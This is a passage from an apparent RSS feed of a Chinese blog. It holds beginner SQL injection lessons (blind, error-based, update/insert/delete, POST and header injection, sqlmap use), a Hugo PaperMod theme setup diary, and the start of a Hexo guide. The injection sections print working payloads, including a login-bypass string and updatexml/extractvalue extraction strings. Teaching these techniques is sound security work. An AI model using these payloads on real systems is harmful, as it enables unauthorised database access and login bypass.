</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(ascii(substr((<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">table_name</span> <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">where</span> table_schema<span style="color:#f92672">=</span><span style="color:#66d9ef">database</span>() <span style="color:#66d9ef">limit</span> <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>),<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>))<span style="color:#f92672">=</span><span style="color:#ae81ff">101</span>,sleep(<span style="color:#ae81ff">3</span>),<span style="color:#ae81ff">0</span>)<span style="color:#75715e">--+
</span></span></span></code></pre></div><h3 id="报错注入">报错注入</h3>
<p><a href="https://www.jianshu.com/p/bc35f8dd4f7c" target="_blank">12种报错注入&#43;万能语句</a></p>
<h5 id="更新注入">更新注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$name&#39;</span> <span style="color:#66d9ef">where</span> id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$</span>name <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or &#39;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">//</span> <span style="color:#960050;background-color:#1e0010">结果</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&#39;</span> <span style="color:#66d9ef">or</span>(<span style="color:#66d9ef">select</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">from</span>(<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">count</span>(<span style="color:#f92672">*</span>),concat((<span style="color:#66d9ef">select</span> (<span style="color:#66d9ef">select</span> (<span style="color:#66d9ef">select</span> concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>(),<span style="color:#ae81ff">0</span>x7e))) <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">limit</span> <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>),floor(rand(<span style="color:#ae81ff">0</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>))x <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">group</span> <span style="color:#66d9ef">by</span> x)a) <span style="color:#66d9ef">or</span> <span style="color:#e6db74">&#39;&#39;</span> <span style="color:#66d9ef">where</span> id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>出现结果<code>ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'</code>，则得到库名为security；
若将<code>database()</code>改为<code>version()</code>，则提示<code>ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'</code>。</p>
<ul>
<li>其他注入语句</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubeNicky<span style="color:#e6db74">&#39; or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubeNicky<span style="color:#e6db74">&#39; or  updatexml(1,concat(0x7e,(version())),0) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>Nicky<span style="color:#e6db74">&#39; or extractvalue(1,concat(0x7e,database())) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span></code></pre></div><h5 id="插入注入">插入注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or &#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or updatexml(1,concat(0x7e,(version())),0) or &#39;</span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or extractvalue(1,concat(0x7e,database())) or &#39;</span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span></code></pre></div><h5 id="删除注入">删除注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>(<span style="color:#66d9ef">select</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span><span style="color:#f92672">+</span><span style="color:#66d9ef">from</span>(<span style="color:#66d9ef">select</span><span style="color:#f92672">+</span><span style="color:#66d9ef">count</span>(<span style="color:#f92672">*</span>),concat(floor(rand(<span style="color:#ae81ff">0</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>),<span style="color:#ae81ff">0</span>x7e,(<span style="color:#66d9ef">database</span>()),<span style="color:#ae81ff">0</span>x7e)x<span style="color:#f92672">+</span><span style="color:#66d9ef">from</span><span style="color:#f92672">+</span>information_schema.character_sets<span style="color:#f92672">+</span><span style="color:#66d9ef">group</span><span style="color:#f92672">+</span><span style="color:#66d9ef">by</span><span style="color:#f92672">+</span>x)a)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>updatexml<span style="color:#f92672">+</span>(<span style="color:#ae81ff">1</span>,concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>()),<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>extractvalue(<span style="color:#ae81ff">1</span>,concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>()))
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/</link>
      <pubDate>Wed, 06 Oct 2021 19:41:42 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/</guid>
      <description>Sqlmap其他注入 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头； 在注入点处用星号标记，例如host: XXX*； 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句：
select * from admin where username=&amp;#39;$user&amp;#39; and password=&amp;#39;$pass&amp;#39; ; 使$user = &amp;ldquo;admin&amp;rsquo; or &amp;lsquo;1&amp;rsquo;=&amp;lsquo;1&amp;rdquo;，得到
select * from admin where username=&amp;#39;admin&amp;#39; or &amp;#39;1&amp;#39;=&amp;#39;1&amp;#39; and password=&amp;#39;$pass&amp;#39; ; host注入 在HTTP头中，把order by 4（payload）作为host项传递。
XFF注入 例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。
以下三个参数可能存在注入点：
HTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP&amp;hellip;&amp;hellip; HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！
根据功能区分注入类型 例如，搜索sql如下：
select * from zzz_user where name like &amp;#39;%$name%&amp;#39; 字符串相关的sql判断语句会包含引号等等。
⚠️注意数字、字母、JSON类型字符串。</description>
      <content:encoded><![CDATA[<h2 id="sqlmap其他注入">Sqlmap其他注入</h2>
<ol>
<li>在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用<code>--data</code>参数，因为使用txt方式注入使用的是真实的数据包，而<code>--data</code>使用的是SQLMap自带的请求头；</li>
<li>在注入点处用星号标记，例如<code>host: XXX*</code>；</li>
<li>使用<code>python sqlmap.py -r host.txt</code>开始注入</li>
</ol>
<h3 id="万能密码原理post注入">万能密码原理(post注入)</h3>
<p>例如对于下列sql语句：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> <span style="color:#66d9ef">admin</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$user&#39;</span> <span style="color:#66d9ef">and</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$pass&#39;</span> ;
</span></span></code></pre></div><p>使$user = &ldquo;admin&rsquo; or &lsquo;1&rsquo;=&lsquo;1&rdquo;，得到</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> <span style="color:#66d9ef">admin</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;admin&#39;</span> <span style="color:#66d9ef">or</span> <span style="color:#e6db74">&#39;1&#39;</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;1&#39;</span> <span style="color:#66d9ef">and</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$pass&#39;</span> ;
</span></span></code></pre></div><h3 id="host注入">host注入</h3>
<p>在HTTP头中，把<code>order by 4</code>（payload）作为host项传递。</p>
<h3 id="xff注入">XFF注入</h3>
<p>例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如<a href="https://www.cnblogs.com/lushaoyan/p/11088213.html" target="_blank">PHP正确获取客户端IP地址</a>。</p>
<p>以下三个参数可能存在注入点：</p>
<blockquote>
<p>HTTP_CLIENT_IP：存在于http请求的header
HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP&hellip;&hellip;
HTTP_X_REAL_IP：这个用得比较少，暂不讨论。
<strong>这三个值都是从HTTP请求头获取的，所以并不可靠！</strong></p>
</blockquote>
<h3 id="根据功能区分注入类型">根据功能区分注入类型</h3>
<p>例如，搜索sql如下：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> zzz_user <span style="color:#66d9ef">where</span> name <span style="color:#66d9ef">like</span> <span style="color:#e6db74">&#39;%$name%&#39;</span>
</span></span></code></pre></div><p>字符串相关的sql判断语句会包含引号等等。</p>
<p>⚠️注意数字、字母、JSON类型字符串。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Hugo的PaperMod主题踩坑历程</title>
      <link>https://weibo.io/2021/10/hugo-papermod%E8%B8%A9%E5%9D%91%E5%8E%86%E7%A8%8B/</link>
      <pubDate>Wed, 06 Oct 2021 13:41:42 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/hugo-papermod%E8%B8%A9%E5%9D%91%E5%8E%86%E7%A8%8B/</guid>
      <description>忙了一晚上，配置Papermod主题踩了太多坑。记录一下Hugo的PaperMod主题踩坑历程（包括Safari顶栏颜色配置等）。
一、安装过程 不要使用git add submodule安装主题，否则将无法更改主题内容。正确方法是下载zip文件解压，然后git init。 api.netlify.com始终无法访问，又不在各大pac的名单上，因此开梯子的时候要设置为全局才能上去。 从Hexo转向Hugo后，最大的感受就是编译速度快了不少，netlify的免费额度终于够用了～ 二、配置过程 设置Archive页面时，除了按照官方的做法添加archives.md文件以外，还必须在config.yml下添加如下属性：
params: ShowAllPagesInArchive: true 设置params.editPost属性时，在URL上必须加上/tree/master，例如：
https://github.com/alvazu/hugo_standalone/tree/master/content 同时，必须设置hidemeta属性，才会显示修改按钮：
params: hidemeta: false hideSummary: false 配置TOC的过程，可以参考如下配置，让TOC显示但自动收起：
params: showtoc: true tocopen: false 将主页设置为非profile mode时，还必须在config.yml下添加如下属性，首页上的文章列表才能显示：
params: mainSections: - post 这是由于在下列语句中，site.Params.mainSections属性返回posts，而site.RegularPages.Type返回post（少了个“s”）：
where site.RegularPages &amp;#34;Type&amp;#34; &amp;#34;in&amp;#34; site.Params.mainSections 配置RSS时，首先在config.yml下添加如下属性：
params: ShowFullTextinRSS: true 然后将socialIcons属性指向index.xml。
要删除Catagories、Tags页面中的大标题，需要找到/layouts/_default/terms.html文件，将其中的
&amp;lt;h1&amp;gt;{{ .Title }}&amp;lt;/h1&amp;gt; （也就是第五行）注释掉。
要删除底部的Powered by Hugo &amp;amp; PaperMod字样，需要找到layouts/partials/footer.html，从第8行开始设置注释：
&amp;lt;!-- &amp;lt;span&amp;gt; Powered by &amp;lt;a href=&amp;#34;https://gohugo.io/&amp;#34; rel=&amp;#34;noopener noreferrer&amp;#34; target=&amp;#34;_blank&amp;#34;&amp;gt;Hugo&amp;lt;/a&amp;gt; &amp;amp; &amp;lt;a href=&amp;#34;https://git.io/hugopapermod&amp;#34; rel=&amp;#34;noopener&amp;#34; target=&amp;#34;_blank&amp;#34;&amp;gt;PaperMod&amp;lt;/a&amp;gt; &amp;lt;/span&amp;gt; --&amp;gt; 三、设置Safari顶栏颜色跟随 找到layouts/partials/header.</description>
      <content:encoded><![CDATA[<p>忙了一晚上，配置Papermod主题踩了太多坑。记录一下Hugo的PaperMod主题踩坑历程（包括Safari顶栏颜色配置等）。</p>
<h2 id="一安装过程">一、安装过程</h2>
<ol>
<li>不要使用git add submodule安装主题，否则将无法更改主题内容。正确方法是下载zip文件解压，然后git init。</li>
<li>api.netlify.com始终无法访问，又不在各大pac的名单上，因此开梯子的时候要设置为全局才能上去。</li>
<li>从Hexo转向Hugo后，最大的感受就是编译速度快了不少，netlify的免费额度终于够用了～</li>
</ol>
<h2 id="二配置过程">二、配置过程</h2>
<ol>
<li>
<p>设置Archive页面时，除了按照官方的做法添加archives.md文件以外，还必须在<code>config.yml</code>下添加如下属性：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">params</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ShowAllPagesInArchive</span>: <span style="color:#66d9ef">true</span>
</span></span></code></pre></div></li>
<li>
<p>设置<code>params.editPost</code>属性时，在URL上必须加上<code>/tree/master</code>，例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">https://github.com/alvazu/hugo_standalone/tree/master/content
</span></span></span></code></pre></div><p>同时，必须设置<code>hidemeta</code>属性，才会显示修改按钮：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">params</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">hidemeta</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">hideSummary</span>: <span style="color:#66d9ef">false</span>
</span></span></code></pre></div></li>
<li>
<p>配置TOC的过程，可以参考如下配置，让TOC显示但自动收起：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">params</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">showtoc</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">tocopen</span>: <span style="color:#66d9ef">false</span>
</span></span></code></pre></div></li>
<li>
<p>将主页设置为<code>非profile mode</code>时，还必须在<code>config.yml</code>下添加如下属性，首页上的文章列表才能显示：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">params</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">mainSections</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">post</span>
</span></span></code></pre></div><p>这是由于在下列语句中，<code>site.Params.mainSections</code>属性返回posts，而<code>site.RegularPages.Type</code>返回post（少了个“s”）：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">where</span> <span style="color:#a6e22e">site</span>.<span style="color:#a6e22e">RegularPages</span> <span style="color:#e6db74">&#34;Type&#34;</span> <span style="color:#e6db74">&#34;in&#34;</span> <span style="color:#a6e22e">site</span>.<span style="color:#a6e22e">Params</span>.<span style="color:#a6e22e">mainSections</span>
</span></span></code></pre></div></li>
<li>
<p>配置RSS时，首先在<code>config.yml</code>下添加如下属性：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">params</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ShowFullTextinRSS</span>: <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><p>然后将<code>socialIcons</code>属性指向<code>index.xml</code>。</p>
</li>
<li>
<p>要删除<code>Catagories</code>、<code>Tags</code>页面中的大标题，需要找到<code>/layouts/_default/terms.html</code>文件，将其中的</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;{{ .Title }}&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span></code></pre></div><p>（也就是第五行）注释掉。</p>
</li>
<li>
<p>要删除底部的<code>Powered by Hugo &amp; PaperMod</code>字样，需要找到<code>layouts/partials/footer.html</code>，从第8行开始设置注释：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- &lt;span&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	Powered by
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	&lt;a href=&#34;https://gohugo.io/&#34; rel=&#34;noopener noreferrer&#34; target=&#34;_blank&#34;&gt;Hugo&lt;/a&gt; &amp;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	&lt;a href=&#34;https://git.io/hugopapermod&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;PaperMod&lt;/a&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;/span&gt; --&gt;</span>
</span></span></code></pre></div></li>
</ol>
<h2 id="三设置safari顶栏颜色跟随">三、设置Safari顶栏颜色跟随</h2>
<ol>
<li>
<p>找到<code>layouts/partials/header.html</code>，修改其中的JS代码为（从22行开始）：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">getItem</span>(<span style="color:#e6db74">&#34;pref-theme&#34;</span>) <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;dark&#34;</span>) {
</span></span><span style="display:flex;"><span>   document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#39;dark&#39;</span>);
</span></span><span style="display:flex;"><span>   document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;meta[name=&#34;theme-color&#34;]&#39;</span>).<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;content&#34;</span>,<span style="color:#e6db74">&#34;#1d1e20&#34;</span>)
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">getItem</span>(<span style="color:#e6db74">&#34;pref-theme&#34;</span>) <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;light&#34;</span>) {
</span></span><span style="display:flex;"><span>   document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">remove</span>(<span style="color:#e6db74">&#39;dark&#39;</span>)
</span></span><span style="display:flex;"><span>   document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;meta[name=&#34;theme-color&#34;]&#39;</span>).<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;content&#34;</span>,<span style="color:#e6db74">&#34;#f5f5f5&#34;</span>)
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (window.<span style="color:#a6e22e">matchMedia</span>(<span style="color:#e6db74">&#39;(prefers-color-scheme: dark)&#39;</span>).<span style="color:#a6e22e">matches</span>) {
</span></span><span style="display:flex;"><span>   document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#39;dark&#39;</span>);
</span></span><span style="display:flex;"><span>   document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;meta[name=&#34;theme-color&#34;]&#39;</span>).<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;content&#34;</span>,<span style="color:#e6db74">&#34;#1d1e20&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div></li>
<li>
<p>找到<code>layouts/partials/footer.html</code>，修改其中的JS代码为（从73行开始）：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;theme-toggle&#34;</span>).<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#34;click&#34;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">className</span>.<span style="color:#a6e22e">includes</span>(<span style="color:#e6db74">&#34;dark&#34;</span>)) {
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">remove</span>(<span style="color:#e6db74">&#39;dark&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">setItem</span>(<span style="color:#e6db74">&#34;pref-theme&#34;</span>, <span style="color:#e6db74">&#39;light&#39;</span>);
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;meta[name=&#34;theme-color&#34;]&#39;</span>).<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;content&#34;</span>,<span style="color:#e6db74">&#34;#f5f5f5&#34;</span>)
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">body</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">add</span>(<span style="color:#e6db74">&#39;dark&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">setItem</span>(<span style="color:#e6db74">&#34;pref-theme&#34;</span>, <span style="color:#e6db74">&#39;dark&#39;</span>);
</span></span><span style="display:flex;"><span>    document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;meta[name=&#34;theme-color&#34;]&#39;</span>).<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">&#34;content&#34;</span>,<span style="color:#e6db74">&#34;#1d1e20&#34;</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div></li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>Hexo 安装并部署到GitHub Pages 最新教程（2021.10）</title>
      <link>https://weibo.io/2021/10/Hexo%E6%9C%80%E6%96%B0%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</link>
      <pubDate>Tue, 05 Oct 2021 21:56:22 +0800</pubDate>
      
      <guid>https://weibo.io/2021/10/Hexo%E6%9C%80%E6%96%B0%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</guid>
      <description>一、前期准备 1.1. 环境安装 下载必须环境 NodeJS：下载 | Node.js 中文网 (nodejs.cn)
Git：Git - Downloads (git-scm.com)
